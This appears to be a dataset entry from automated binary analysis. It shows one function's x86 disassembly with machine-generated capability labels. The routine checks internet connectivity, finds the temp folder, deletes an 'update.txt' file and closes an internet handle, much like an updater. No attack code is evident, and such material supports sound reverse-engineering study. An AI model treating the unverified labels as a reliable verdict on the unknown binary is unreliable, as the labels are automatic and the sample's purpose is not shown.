Function at 0x41e8e0
Capabilities:
Check internet connectivity via wininet
Delete file
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x48ee84
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x4afa68]
xor eax, esp
mov dword [esp + 0x228], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4afa68]
xor eax, esp
push eax
lea eax, [esp + 0x240]
mov dword fs:[0], eax
push 0x103
lea eax, [esp + 0x31]
push 0
push eax
mov byte [esp + 0x38], 0
call fcn.00457ee0
add esp, 0xc
lea ecx, [esp + 0x2c]
push ecx
call fcn.0041f9d0
lea edx, [esp + 0x2c]
push edx
lea ecx, [esp + 0x20]
call fcn.004031c0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x24c], 0
call fcn.004203f0
push 0x103
lea ecx, [esp + 0x139]
push 0
mov byte [esp + 0x250], 1
push ecx
mov byte [esp + 0x140], 0
call fcn.00457ee0
add esp, 0xc
lea edx, [esp + 0x134]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x134]
push eax
lea ecx, [esp + 0x1c]
call fcn.004031c0
mov byte [esp + 0x248], 2
cmp dword [esp + 0x14], 0
je 0x41e9cc
push 0
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x41ea36
mov byte [esp + 0x248], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
or ebp, 0xffffffff
lea edx, [eax + 0xc]
mov ecx, ebp
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41e9f6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x24c], 0
call fcn.00420540
mov dword [esp + 0x248], ebp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
test ebp, ebp
jg 0x41ea2c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x41ecde
push str.update.txt
lea ecx, [esp + 0x2c]
call fcn.004031c0
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0x254], 3
call fcn.00420330
add esp, 0xc
mov byte [esp + 0x248], 5
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
or ebp, 0xffffffff
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ea89
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
lea edi, [esp + 0x24]
call fcn.00420690
mov edi, eax
test edi, edi
jne 0x41eb2f
mov byte [esp + 0x248], 2
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
mov ecx, ebp
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41eac8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x248], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41eaef
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x24c], 0
call fcn.00420540
mov dword [esp + 0x248], ebp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
test ebp, ebp
jg 0x41eb25
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 2
jmp 0x41ecde
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
push eax
call fcn.0040bac0
add eax, 0x10
add esp, 4
mov dword [esp + 0x24], eax
push 1
push 0x49ac28
lea ecx, [esp + 0x2c]
mov byte [esp + 0x250], 6
call fcn.00402b80
push 0xa
push str.update.txt
lea ecx, [esp + 0x2c]
call fcn.00402b80
mov esi, dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push edi
call fcn.004207f0
push edi
mov bl, al
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esi - 0x10]
mov byte [esp + 0x248], 5
mov edx, ebp
lea ecx, [eax + 0xc]
test bl, bl
jne 0x41ec42
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ebb4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x248], 2
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ebdb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x248], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ec02
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x24c], 0
call fcn.00420540
mov dword [esp + 0x248], ebp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
test ebp, ebp
jg 0x41ec38
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 3
jmp 0x41ecde
movzx edi, bl
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ec58
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x248], 2
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41ec7f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x248], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
mov edx, ebp
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41eca6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x24c], 0
call fcn.00420540
mov dword [esp + 0x248], ebp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
lock xadd dword [edx], ebp
dec ebp
test ebp, ebp
jg 0x41ecdc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [esp + 0x240]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x228]
xor ecx, esp
call fcn.004512da
add esp, 0x238
ret